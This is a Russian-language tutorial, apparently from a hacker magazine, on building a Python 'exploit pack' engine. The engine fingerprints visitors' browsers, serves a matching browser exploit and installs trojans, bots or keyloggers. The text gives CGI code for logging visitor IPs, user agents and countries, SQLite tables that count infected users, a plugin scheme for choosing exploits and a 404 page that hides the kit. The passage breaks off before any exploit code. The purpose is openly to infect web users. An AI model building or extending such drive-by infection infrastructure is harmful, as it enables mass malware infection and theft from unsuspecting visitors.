Створення сплойт-пака from presidentua on Vimeo.
Пишем на Python'е собственный движок для связки
Fiesta, Fire-Pack, IcePack, Tornado и много-много других связок сплойтов знает (хотя уже в большинстве случаев лишь знал) мир хакеров, но ни одна из них не написана на Python'е. Этот пробел будем устранять.
Связка сплойтов - web-система, которая обьединяет несколько сплойтов. При заходе пользователя на страничку сплойты применяются и производится загрузка полезного программного обеспечения - бота, трояна, кейлогера и прочим. Также связка ведет статистику, где фиксирует кто заходил на страницу, и кто из них был "пробит" сплойтом и заражен нашим трояном. Мы разберем в статье как практически реализуется связка, правда не будем внедряться в сам процесс сплойтописания, ведь это отдельная интересная тема и заслуживает отдельной статьи.
Итак в связке я бы выделил 4 части:
- выбор сплойта;
- отдача полезной нагрузки;
- админка;
- сплойты.
Для чего нужна каждая часть - подробно узнаем в процессе ее реализации.
Ындекс.py
Первой и наиболее главная часть, пусть будет именуемая "Ы", должна на запрос пользователя проанализировать его браузер и отдать страницу со сплойтом, который с максимальной вероятностью пробьет юзера. А также этот скрипт занесет в базу данных статистику о пользователе. Мы будем реализовывать простой вариант, когда пользователю отдается один сплойт. Хотя в некоторых случаях лучше использовать несколько сплойтов, которые поочередно применяются ротором на JavaScript, но это для следующих релизов ;).
Реагировать на запрос юзера будем через cgi (о нем читай во врезке). Для тестирования всего этого проще всего скачать Denwer и модуль к нему для Python'а (я уже все скачал, установил, настроил для тебя, так что копируй с нашего диска и запускай).
Первый модуль будет полностью в файле Ындекс - index.py. Для отображения страницы используя CGI, нужно указать что скрипт написан на Python'e, а дальше печатать обязательно заголовок с полем Content-type, пустую строку для отделения заголовка от основного тела, и непосредственно наш HTML:
#!/usr/bin/python
# -*- coding: utf-8 -*-
print 'Content-type: text/html'
print
print '
XEK
'
Чтобы разрешить CGI, еще нужно создать файл .htaccess со строчкой:
Options +ExecCGI
CGI интерфейс кроме отдачи страницы в браузер, позволяет получать некоторую дополнительную информацию, и в первую очередь нас интересует откуда юзер пришел - referer, его IP, а также User-agent - все это хранится в переменной environ из модуля os. И получить их можно таким кодом:
import os
ip = os.environ["REMOTE_ADDR"]
ua = os.environ["HTTP_USER_AGENT"]
rf = os.environ["HTTP_REFERER"]
Хотя красивее тоже самое делать через get:
ua = os.environ.get("HTTP_USER_AGENT",'N/A')
Если User-agent не определен, тогда переменной будет присвоен второй аргумент, строку 'N/A'.
Имея данную информацию о пользователе нужно все сохранить в базу данных. В качестве которой лучшим кандидатом есть SQLite, о котором некоторые факты описал во врезке. Статистику же лучше еще расширить немного и добавить страну юзера. Для этих целей используются специальные базы соответствия IP адреса и страны. Мы будем использовать бесплатную версию базы с сайта http://maxmind.com/. Что бы удобно работать с ней, есть библиотека на сайте http://code.google.com/p/pygeoip/. Скопируем эту библиотеку и базу в папку pygeoip и в нашем скрипте Ындекс.py легко можем использовать такой код:
import pygeoip
gi = pygeoip.GeoIP('./pygeoip/GeoIP.dat')
cc = gi.country_code_by_addr(ip)
В результате в переменной 'cc' будет сокращение страны - ru, ua, us... Чрезвычайно удобная библиотека.
SQLite
Вернемся к SQLite. Для примера напишем скрипт инсталляции install.py и разместим его в папке data, который будет лишь создавать пустую базу данных с двумя таблицами:
import sqlite3
conn = sqlite3.connect('base.db')
conn.execute("CREATE TABLE enter \
(id INTEGER PRIMARY KEY AUTOINCREMENT, ip, \
ua, rf, cc, date DEFAULT CURRENT_TIMESTAMP)")
conn.execute("CREATE TABLE load \
(id INTEGER PRIMARY KEY AUTOINCREMENT, ip, \
ua, rf, cc, date DEFAULT CURRENT_TIMESTAMP)")
conn.commit()
conn.close()
Сначала в первой строчке вышеприведенного кода импортируем библиотеку для работы с sqlite3, дальше создаем подключение к базе данных, если файла нету, то он сразу будет создан автоматически. Потом в базу данных производим два SQL запроса по созданию таблиц, одну для сохранения информации о всех пользователей, которые зашли на связку, а вторая для зараженных юзеров, что скачали нагрузку. Как видим SQL-синтаксис несколько упрощен тем, что не указывается тип поля, потому что типы полей при создании таблицы декларативные. Т.е. при сохранении записи движок сам определяет в каком формате сохранять. Тип данных конкретного столбца может меняться от строки к строке. Также видим, что мы создали 2 автоматических поля, первый автоинкрементный ключ, а также поле date куда автоматически записывается текущая дата и время.
Теперь наш файл Ындекс.py можно добавить строчки для статистики:
conn = sqlite3.connect('./data/base.db')
conn.execute('INSERT INTO enter (ip,ua,rf,cc) \
VALUES (?,?,?,?)',(ip,ua,rf,cc))
conn.commit()
conn.close()
Еще сюда бы добавить проверку заходил ли раньше юзер, и если заходил, то показать 404 ошибку. Думаю этот функционал ты сможешь сам добавить, или подсмотреть на диске.
Загрузка плагинов со сплойтами
После записи статистики чаще всего идет проверка на браузер и выбирается со статического списка сплойт, но это не красиво смотрится. Мы будем использовать плагины, которые разместим в папке data/sploits. Каждый сплойт представляет собою файл в котором должно быть две функции init и run. Функция init на вход получает user-agent и определяет сможет ли она пробить браузер, если да - возвращает 1, если нет - 0. А мы в свою очередь если получили 1, то запускаем функцию run которая непосредственно вставит эксплойт в страницу. С плагинами мы уже работали во время написания jabber-бота для администрирования, поэтому код, который загрузит все плагины и запустит их - можно подсмотреть во врезке.
Если же мы обработали все плагины и они сказали что не смогут пробить браузер пользователя, то значить нужно показать пользователю страницу с 404 ошибкой:
print 'Status: 404 Not Found'
print 'Content-type: text/html'
print
print 'Not Found'
Сами сплойты зачастую выглядят так, что в начале идет обычная проверка на версию браузера и операционный системы, а дальше в run идет вывод или правильного яваскрипта или картинки или флэшки или еще какой-то другого интересного обьекта:
def init(ua):
if ua.find('Opera/9.6') and \
ua.find('Windows NT'):
return 1
return 0
def run(url):
print "Content-type: text/html"
print
print '''
